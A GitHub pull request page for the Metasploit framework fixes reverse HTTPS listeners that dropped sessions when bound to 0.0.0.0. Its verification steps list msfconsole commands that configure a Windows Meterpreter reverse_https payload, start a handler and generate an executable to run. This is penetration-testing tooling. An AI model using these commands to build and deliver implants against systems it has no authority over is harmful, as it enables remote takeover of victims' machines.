Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix #9827 - reverse HTTPS listeners #9828

Merged
merged 1 commit into from
Apr 6, 2018

Conversation

scriptjunkie
Copy link
Contributor

@scriptjunkie scriptjunkie commented Apr 6, 2018

Fixes #9827

Verification

List the steps needed to make sure this thing works

msf5 > use payload/windows/x64/meterpreter/reverse_https
msf5 payload(windows/x64/meterpreter/reverse_https) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf5 payload(windows/x64/meterpreter/reverse_https) > to_handler 
[*] Payload Handler Started as Job 0
msf5 payload(windows/x64/meterpreter/reverse_https) > 
[*] Started HTTPS reverse handler on https://0.0.0.0:8443
msf5 payload(windows/x64/meterpreter/reverse_https) > set LHOST your.ip
msf5 payload(windows/x64/meterpreter/reverse_https) > generate -t exe -f /tmp/runthis.exe
[*] Writing 7168 bytes to /tmp/runthis.exe...

then run it

@scriptjunkie scriptjunkie changed the title Fix #9827 Fix #9827 - reverse HTTPS listeners Apr 6, 2018
@busterb busterb self-assigned this Apr 6, 2018
@busterb busterb merged commit c303859 into rapid7:master Apr 6, 2018
@busterb
Copy link
Member

busterb commented Apr 6, 2018

Release Notes

This fix resolves an issue causing sessions to die when connecting through a reverse HTTP/S handler bound to the wildcard 0.0.0.0 address. Handling reverse HTTP/S listeners now works as expected.

@scriptjunkie scriptjunkie deleted the reverse_listeners_9827 branch April 6, 2018 22:23
@allrosenthal-r7 allrosenthal-r7 added the rn-fix release notes fix label Apr 24, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug payload rn-fix release notes fix
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants